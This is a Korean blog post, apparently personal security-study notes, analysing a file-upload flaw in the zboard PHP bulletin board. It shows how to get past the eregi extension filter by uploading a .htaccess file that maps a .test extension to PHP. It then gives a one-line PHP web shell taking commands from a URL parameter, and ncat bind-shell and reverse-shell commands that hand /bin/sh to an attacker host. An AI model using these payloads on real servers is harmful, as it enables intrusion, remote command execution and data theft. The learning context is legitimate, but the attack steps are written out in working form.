ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [웹보안] zboard 취약점 분석 (서버측언어) - 파일업로드
    보안/웹보안 2017. 5. 29. 16:52

    서버측 언어를 이용한 취약점

    - 특정 서버를 타겟으로 한 공격


    타겟 : 서버

    -서버의 무력화

    -루트계정의 탈취

    -서버의 데이터 탈취


    타겟 : 개인

    -개인정보 탈취( 키로거, 모니터링 )

    -좀비피시화



    타겟 : zboard 상용게시판


    언어 : PHP


    php 파일을 실행하는 방법

    #1 command line 실행하는 방법

    php 명령어를 사용해서 실행


    #2 웹 브라우저에서 실행하는 방법

    URL입력으로 실행

    - 웹브라웆에서 접근이 가능해야 한다.

    - 실행할 파일이 웹 서버에서 있어야 한다.


    >> 출력창에 맞게 실행방법을 선택


    zboard 게시판 업로드 기능

    [게시글 다운로드]

    url이 고스란히 나타났다. >> /zboard/data/naver.png


    그럼 if를 출력하는 php코드가 작성된 파일을 업로드해본다.

    [test.php] > 생성

    <?php

    echo `ifconfig`;

    ?>


    ...... 단순히 php확장자를 가진 파일을 올릴 수는 없었다.


    /zboard/write_ok.php



    write_ok.php << 여기서 차단을 하고있었다.

    eregi 함수로 필터링 중이다.


    *eregi : 취약점이 많이 존재

    -헤더, 엑세스, ...

       ↓

    *preg_match : 취약점이 별로없다. 


    .htaccess ( 로컬설정 파일 )을 이용한 우회 >>파일이 있는 디렉터리에 설정을 적용

    [ /etc/httpd/conf.d/php.conf ]

    php를 실행하는 확장자는 .php로만 되어있습니다. 이것을 .htaccess파일에 추가해서 업로드합니다.


    .htaccess 파일을 만들어서 test.test와 같이 업로드를 합니다.

    [ .htaccess ] > 생성

    AddHandler php5-script .php .test

    AddType text/html .php .test


    두개의 파일이 업로드가 되고 나면 test.test가 업로드파일 클릭시 서버의 ip정보를 가져옵니다.


    이렇게 코드가 실행되는 것을 확인했으면 php 코드를 통해 원격쉘을 접속할 수 있습니다.

    *원격 쉘

    #1 웹쉘 ( web shell )

    -php로 작성된 쉘

    *간단하게 URL에서 명령어를 칠 수있게 작성하면 된다.

    <?php

    echo `$_GET[cmd]`;

    ?>



    - 파이썬, ncat, telnet, bach .... 중 하나를 통해 따온다.

    #2 바인드 쉘 ( bind shell )

    -정방향 연결 (강제 포트 오픈)

    [ncat]

    서버측에 ncat이 설치되어 있을 때

    nc.exe파일 사용

    (서버 포트 오픈)
    #>ncat -e "/bin/sh" -l -p 10000

    (공격자 접속)
    attacker cmd>nc.exe 192.168.6.233 10000

    공격시작.


    #3 리버스 쉘 ( reverseee shell )

    -역방향 연결  : 방화벽이 강한 서버측에 사용

    >> 공격자쪽에서 포트를 열고 공격대상서버에서 내부적으로 공격자로 접속시키는 방법

    [ncat / nc.exe]

    attacker cmd > nc.exe -l -p <port>

    admin linux>ncat -e "/bin/sh" <ip> <port>



    >>따로 공부해야할 것

    #1  다른 업로드 방법

    #2  다른 쉘 탈취 방법







    '보안 > 웹보안' 카테고리의 다른 글

    [웹보안] zboard 취약점 분석 - SQL Injection  (0) 2017.05.30
    [웹보안] zboard의 취약점 분석(클라이언트 측)  (0) 2017.05.26
    [웹보안] 로그인  (0) 2017.05.19
    [웹보안] php  (0) 2017.05.15

    댓글

Designed by Tistory.